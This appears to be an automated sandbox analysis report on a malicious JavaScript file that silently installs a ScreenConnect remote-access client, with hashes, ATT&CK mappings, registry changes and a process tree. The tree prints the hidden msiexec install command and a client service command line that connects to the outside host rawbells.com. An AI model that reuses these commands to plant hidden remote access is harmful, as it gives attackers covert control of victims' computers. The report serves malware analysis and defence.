648377b8eef7c38cfbe92378a19ad89b3e95593dc7fb65aa0ad8bf0e2cf47d9e

Analysis

max time kernel
150s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 00:17

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General

Target
Docs-20260909220922185.js
Size 3.2MB
Sample260910-ak6fgaed69
SHA256 648377b8eef7c38cfbe92378a19ad89b3e95593dc7fb65aa0ad8bf0e2cf47d9e
MD5 7e0199f5ddcbb13a78fa6f2ec6702156
SHA1 c8345811413a5bc88167434598f04cb2da8ca785
SHA512 5c04126e76dcd26646b217e6404a8d164d970c55b31e093c8a150ba7f3531893cc6142a16adb774396042b3f8961549a55b97b89ca3dd062a5fd037219827abc
SSDEEP 49152:T90L0LxgZ7X39Psewod4SGvrrndFzxsYLboxX70t/o:G
TLSH
T1C1F512502FB4B9A50AF9351E71432F9533912B5D6D8BCC934CF66AC08B4744780AFBAE
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery execution

Malware Config

Signatures

Executes dropped EXE 3 IoCs

pid	Process
756	ScreenConnect.ClientService.exe
5584	ScreenConnect.WindowsClient.exe
2492	ScreenConnect.WindowsClient.exe

Loads dropped DLL 25 IoCs

pid	Process
3264	MsiExec.exe
4776	rundll32.exe
4776	rundll32.exe
4776	rundll32.exe
4776	rundll32.exe
4776	rundll32.exe
4776	rundll32.exe
4776	rundll32.exe
3264	MsiExec.exe
3264	MsiExec.exe
3264	MsiExec.exe
1232	MsiExec.exe
1232	MsiExec.exe
756	ScreenConnect.ClientService.exe
756	ScreenConnect.ClientService.exe
756	ScreenConnect.ClientService.exe
756	ScreenConnect.ClientService.exe
756	ScreenConnect.ClientService.exe
756	ScreenConnect.ClientService.exe
756	ScreenConnect.ClientService.exe
756	ScreenConnect.ClientService.exe
756	ScreenConnect.ClientService.exe
756	ScreenConnect.ClientService.exe
756	ScreenConnect.ClientService.exe
756	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe

Drops file in Windows directory 25 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\~DF73A0F9DEE1F171A8.TMP	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE896.tmp-\ScreenConnect.Core.dll	rundll32.exe
File created	C:\Windows\SystemTemp\~DF5B6D46E1B8B4C844.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEEF4.tmp	msiexec.exe
File created	C:\Windows\Installer\e58e733.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e58e72f.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE896.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE896.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{DDE56F74-BC84-4323-ACCD-59DE96B9F188}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIED5C.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFFA4AF2ACDE97DE4D.TMP	msiexec.exe
File created	C:\Windows\Installer\e58e72f.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE896.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIE896.tmp-\CustomAction.config	rundll32.exe
File created	C:\Windows\SystemTemp\~DF9B1CCA16F02F60A2.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\{DDE56F74-BC84-4323-ACCD-59DE96B9F188}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIECEC.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIED0D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIED9B.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEF62.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{DDE56F74-BC84-4323-ACCD-59DE96B9F188}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\{DDE56F74-BC84-4323-ACCD-59DE96B9F188}\DefaultIcon	msiexec.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe

Modifies registry class 32 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\47F65EDD48CB3234CADC95ED699B1F88\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\47F65EDD48CB3234CADC95ED699B1F88\PackageCode = "F54E29F49E218DC469A6D53E0AD9EAF0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\47F65EDD48CB3234CADC95ED699B1F88\ProductIcon = "C:\\Windows\\Installer\\{DDE56F74-BC84-4323-ACCD-59DE96B9F188}\\DefaultIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\47F65EDD48CB3234CADC95ED699B1F88\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\47F65EDD48CB3234CADC95ED699B1F88\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\47F65EDD48CB3234CADC95ED699B1F88\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\47F65EDD48CB3234CADC95ED699B1F88\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\47F65EDD48CB3234CADC95ED699B1F88\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\47F65EDD48CB3234CADC95ED699B1F88\SourceList\Media\1 = ";"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\47F65EDD48CB3234CADC95ED699B1F88\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\47F65EDD48CB3234CADC95ED699B1F88\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\47F65EDD48CB3234CADC95ED699B1F88\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\47F65EDD48CB3234CADC95ED699B1F88	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\47F65EDD48CB3234CADC95ED699B1F88\ProductName = "ScreenConnect Client (a883241204db1a2c)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\47F65EDD48CB3234CADC95ED699B1F88\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\47F65EDD48CB3234CADC95ED699B1F88\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-a883241204db1a2c	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\47F65EDD48CB3234CADC95ED699B1F88\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-a883241204db1a2c\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\47F65EDD48CB3234CADC95ED699B1F88\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\47F65EDD48CB3234CADC95ED699B1F88\SourceList\Media	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell\open\command\ = "\"C:\\ProgramData\\Microsoft\\Windows\\Caches\\c4f8a2e19b3d\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\47F65EDD48CB3234CADC95ED699B1F88	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\47F65EDD48CB3234CADC95ED699B1F88\Version = "336266244"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\34F0136E0E5881F18A38422140BDA1C2	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\34F0136E0E5881F18A38422140BDA1C2\47F65EDD48CB3234CADC95ED699B1F88	msiexec.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4204	msiexec.exe
4204	msiexec.exe
756	ScreenConnect.ClientService.exe
756	ScreenConnect.ClientService.exe
756	ScreenConnect.ClientService.exe
756	ScreenConnect.ClientService.exe
756	ScreenConnect.ClientService.exe
756	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5696	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5696	msiexec.exe
Token: SeSecurityPrivilege	4204	msiexec.exe
Token: SeCreateTokenPrivilege	5696	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5696	msiexec.exe
Token: SeLockMemoryPrivilege	5696	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5696	msiexec.exe
Token: SeMachineAccountPrivilege	5696	msiexec.exe
Token: SeTcbPrivilege	5696	msiexec.exe
Token: SeSecurityPrivilege	5696	msiexec.exe
Token: SeTakeOwnershipPrivilege	5696	msiexec.exe
Token: SeLoadDriverPrivilege	5696	msiexec.exe
Token: SeSystemProfilePrivilege	5696	msiexec.exe
Token: SeSystemtimePrivilege	5696	msiexec.exe
Token: SeProfSingleProcessPrivilege	5696	msiexec.exe
Token: SeIncBasePriorityPrivilege	5696	msiexec.exe
Token: SeCreatePagefilePrivilege	5696	msiexec.exe
Token: SeCreatePermanentPrivilege	5696	msiexec.exe
Token: SeBackupPrivilege	5696	msiexec.exe
Token: SeRestorePrivilege	5696	msiexec.exe
Token: SeShutdownPrivilege	5696	msiexec.exe
Token: SeDebugPrivilege	5696	msiexec.exe
Token: SeAuditPrivilege	5696	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5696	msiexec.exe
Token: SeChangeNotifyPrivilege	5696	msiexec.exe
Token: SeRemoteShutdownPrivilege	5696	msiexec.exe
Token: SeUndockPrivilege	5696	msiexec.exe
Token: SeSyncAgentPrivilege	5696	msiexec.exe
Token: SeEnableDelegationPrivilege	5696	msiexec.exe
Token: SeManageVolumePrivilege	5696	msiexec.exe
Token: SeImpersonatePrivilege	5696	msiexec.exe
Token: SeCreateGlobalPrivilege	5696	msiexec.exe
Token: SeRestorePrivilege	4204	msiexec.exe
Token: SeTakeOwnershipPrivilege	4204	msiexec.exe
Token: SeRestorePrivilege	4204	msiexec.exe
Token: SeTakeOwnershipPrivilege	4204	msiexec.exe
Token: SeRestorePrivilege	4204	msiexec.exe
Token: SeTakeOwnershipPrivilege	4204	msiexec.exe
Token: SeRestorePrivilege	4204	msiexec.exe
Token: SeTakeOwnershipPrivilege	4204	msiexec.exe
Token: SeRestorePrivilege	4204	msiexec.exe
Token: SeTakeOwnershipPrivilege	4204	msiexec.exe
Token: SeRestorePrivilege	4204	msiexec.exe
Token: SeTakeOwnershipPrivilege	4204	msiexec.exe
Token: SeRestorePrivilege	4204	msiexec.exe
Token: SeTakeOwnershipPrivilege	4204	msiexec.exe
Token: SeRestorePrivilege	4204	msiexec.exe
Token: SeTakeOwnershipPrivilege	4204	msiexec.exe
Token: SeShutdownPrivilege	1232	MsiExec.exe
Token: SeDebugPrivilege	756	ScreenConnect.ClientService.exe
Token: SeRestorePrivilege	4204	msiexec.exe
Token: SeTakeOwnershipPrivilege	4204	msiexec.exe
Token: SeRestorePrivilege	4204	msiexec.exe
Token: SeTakeOwnershipPrivilege	4204	msiexec.exe
Token: SeRestorePrivilege	4204	msiexec.exe
Token: SeTakeOwnershipPrivilege	4204	msiexec.exe
Token: SeRestorePrivilege	4204	msiexec.exe
Token: SeTakeOwnershipPrivilege	4204	msiexec.exe
Token: SeRestorePrivilege	4204	msiexec.exe
Token: SeTakeOwnershipPrivilege	4204	msiexec.exe
Token: SeRestorePrivilege	4204	msiexec.exe
Token: SeTakeOwnershipPrivilege	4204	msiexec.exe
Token: SeRestorePrivilege	4204	msiexec.exe
Token: SeTakeOwnershipPrivilege	4204	msiexec.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
5696	msiexec.exe
4204	msiexec.exe
3264	MsiExec.exe
1232	MsiExec.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4304 wrote to memory of 5696	4304	wscript.exe	90
PID 4204 wrote to memory of 3264	4204	msiexec.exe	92
PID 3264 wrote to memory of 4776	3264	MsiExec.exe	93
PID 4204 wrote to memory of 1232	4204	msiexec.exe	94
PID 756 wrote to memory of 5584	756	ScreenConnect.ClientService.exe	97
PID 756 wrote to memory of 2492	756	ScreenConnect.ClientService.exe	98

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Docs-20260909220922185.js
1⤵
- Suspicious use of WriteProcessMemory
PID:4304
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi" /qn /norestart ARPSYSTEMCOMPONENT=1 ARPNOREMOVE=1 ARPNOMODIFY=1 ARPNOREPAIR=1 ALLUSERS=1 INSTALLLOCATION="C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d" PROGRAMDATALOCATION="C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\Data"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:5696

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4204
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 4C6008FCF784568A4F42AE8CDCE6C725
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3264
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSIE896.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240707937 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:4776
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding E0207BC733317AED5DED231E4107F330 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:1232

C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.exe
C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.exe "?e=Access&y=Guest&h=rawbells.com&p=8041&s=6db9d07c-01d3-4611-939c-923e815234d2&k=BgIAAACkAABSU0ExAAgAAAEAAQCNxZL3tg1sOj784pJI%2fDjJndvmtBu0S1bSLvxJJblA5QrsTjN6qKwRFIIrRCRPXbw9DUWtT3Mf9z9SOtMv1jfKpQIKOX0lQZ%2b6cjlHtKp3vUtCypslW%2fxzKgnq%2bPd%2fZUDAXmEH%2byWifRPUK7cZIJ%2f2Kek2HVYG2RFDmW9ICImBHCpFMdRXV5vSsvbseRT1czW4v1KZAopL%2b3wGZsFlPeofLR%2fcuO27F%2bu8%2fSkBzUU2ojCPloPIcid84hL6nTjFSEw5IRseAESnrUkw8etdlmdJsvHpg8LrI0OaHzV7FTkDecXKyjy4NUWxmYn8wGHxuiQXhhv7FmY73E0HSvelEvLm"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:756
- C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe
  "C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe" "RunRole" "2bcfb288-0266-4661-b068-09881954ed77" "User"
  2⤵
  - Executes dropped EXE
  PID:5584
- C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe
  "C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe" "RunRole" "77c41349-ddc9-424c-bb8d-0084df5aafd4" "System"
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:2492

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

e58e732.rbs

Path C:\Config.Msi\e58e732.rbs
Size 212KB
SHA256 9b20779c43b62f49c3ca5a0af26031186c08dfc7c351490c40402058ab001985
MD5 a0667bb179c5038a51cf3c13317ce0b7
SHA1 325866921bd3de30f470fb0cd7e4d2db1d5bc8be
SHA512 fe123e3b6f2e85ea58f6695a6868fef1b44d605817337e30cdba1aa8253d54457efdf81cb7238bad89b243af6f5c68de1df47f0ec064e14c53d0c2e79a29062f
SSDEEP 3072:09LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGf:0uH2aCGw1ST1wQLdqvf
TLSH
T1D2248C217484807EE7FA1A32D93E9A71BE7DF6240760C99EC3848C1E5D604C16BF6B67
MD5 SHA1 SHA512 SSDEEP TLSH

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Client.Override.en-US.resources

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\Client.Override.en-US.resources
Size 352B
SHA256 9e1e7f22d473acef393e0c33325001836f875b62b0be50ffc272693fe15cfc80
MD5 7cf57863864309cb539a261bb4b38cac
SHA1 d933baff4029d9c6b256dfcba95c0a0177993069
SHA512 8ee0ce5479131627ace6e5040815c8f562cc2747db5c326f85496c990d6002896f7d147a9ff9b7c4a1e86f541f444b88a66d62b1b5ef9dc669cb1bcb49b0108e
TLSH
T151E02052126CD079DD721F73341CA6C14667CD19D734561ECD59011C59B155396A3F32
MD5 SHA1 SHA512 TLSH

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Client.Override.resources

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\Client.Override.resources
Size 37KB
SHA256 6461cb8d597b00e3130341f9b392bcd8f608da3959ffb14986fbb4bb0e1b2a7a
MD5 30f542bef8f5e453d864fc763c6567a1
SHA1 aa59e87816010135d3f3d18473cff31823bb837e
SHA512 7c26fa696e0b1e79eed440d90aa350ed6fa5d6cd1ce27f6ba1b1934f5e682b4c32cd5db45ce51cf1c1cf4c7c16a8a07f51ef2394254a63ad75df0626c4bf6058
SSDEEP 768:SoY34HUNwhCoCCMsUH0HHy5LuNS2RbiTsLrAoDizu+taCLL0RfBcxDN:SoYQUCEoC76S5l2R/VTQmfBc3
TLSH
T152038D0BDC05CA43D560CBFD6E168EDE9914264CFAC13AEEB1278F9B3E349606D850B5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.en-US.resources

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\Client.en-US.resources
Size 39KB
SHA256 b89964b053be93010b83e0e61e5f440b8e0e22cbf0be3cf618842d489beedf1f
MD5 72d0353ed0e5bb71b7648aecf044480e
SHA1 447e125120f7ec9fdcbd4c09b312fc41c219d626
SHA512 3a55875ae1dbc236bed5cd1d91a9584d2076095dbd13279482c4d88c2b189741e19c22d263f602d481a00a0867001a53b360d001ba77e6f90b1c9410a00ac1e2
SSDEEP 768:5ZN2on3aDQiuOtcKhLz06fQ+FMMJL4FD/9dwJLohhKX1pLvMeZEiWIeD:TN2oqDQiuOWKhLz9fQ+FMMJL4FD/9dwk
TLSH
T1DA030D1277FD1A18F5F36F05BE7A94619D37BD5A2E25C06E1028415E1AB2F80CAB2373
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.resources

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\Client.resources
Size 39KB
SHA256 d2b80e20eef496793631fe1b2d904f4cd5972801a43c244cadec9b997f84110d
MD5 285a1b3cd01e0685f2b75e4f77c91712
SHA1 c26b0bbdec570935bd8ab039323a6c05e2fa4315
SHA512 764edd9f0a4a8e577cee783862e38c16ba347060a1e1ad3b893ae09893df0fbfa0b38ba35cf9fd36b22c7a622a9648298a57cb391e8abe34df1f9ad3bf73847d
SSDEEP 768:DZeVoY34HUNwhCoCCMsUH0HHy5LuNS2RbiTsLrAoDizu+taCLL0RfBcxDt:+oYQUCEoC76S5l2R/VTQmfBc3
TLSH
T1F7038D4BDC559E43D561CBFD6E168DD9DD24260CFAC13AEEA0278F5B3E34920AC840B6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Client.dll

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.Client.dll
Size 153KB
SHA256 91ef17033e63abfd3769e3264f9b9999c03e8c1cbf9a935529ba588eecb1a1ee
MD5 e5a9cedfca2f0071e26610e7a505cc4f
SHA1 3f845a06d02a712707b503223ef69a72de655fd1
SHA512 f9e81278b94964103e0b65ea8f781bc5f1d7e1501ee98032ab7aff69cbbbc271d323d6900b61007fddbc6242cef07dcc64342c178be8a38313df673ea8068b6c
SSDEEP 3072:JsURiZnZrKR91EFocIgglCfUKMrz6D2Na5DOoABi87fJ6fRM:JsjIjcyoD2cDgM878
TLSH
T1ABE39EBB63A45D79C58F8A37B06201309FB196416233F75F5A24F8FA6D237C046582E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.dll
Size 32KB
SHA256 ea2d01e8a1f0bce68d71887aa6a0e822179c2cc599c340a87ef4043cb47f8878
MD5 2ab89617eac8dddf0af371d30f813937
SHA1 7eb3b9afa84e85798f6b688560f371431e273821
SHA512 cb9b263ef129eb13e13ed0b13c46baa13733dd6da3a3aa2d35eb0635953a89a516707586d0c0ffc5d3410defcc8c2b11af3a8e93bf063ec6163d679fb6c0f106
SSDEEP 768:HFiY04W7D3ZsvFBDX5qxlNigvt6Ex9x2yCOb/:lupstBbYlsAt6EcJOb/
TLSH
T15FE2294553B84B32C4EE4B7CB866B14407B09E826562F69C8EC9E0DF1E673814E457EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.exe
Size 88KB
SHA256 f1d3120597b8f1115f7bd5cd7110be8baca7b350a785774411ed2c265bce363e
MD5 5b9410ffcc24eb553593da53c3c8c77f
SHA1 df1cd2b628ac44d41584727f32473cc06f93e271
SHA512 402de2ec3704e936122f7d789f11a49f5cefbc08959b08c0789f07dd5ad5cb0d912882674d6675a6d515f0e2976eaa43f28c050a0808f04a11c0a109861bcea4
SSDEEP 1536:TVnKQbrt7pdnNmhno7GcqbksWjcdLyXN4WAitMw8NP8:T8wt7TvmbLLyXOWAitMW
TLSH
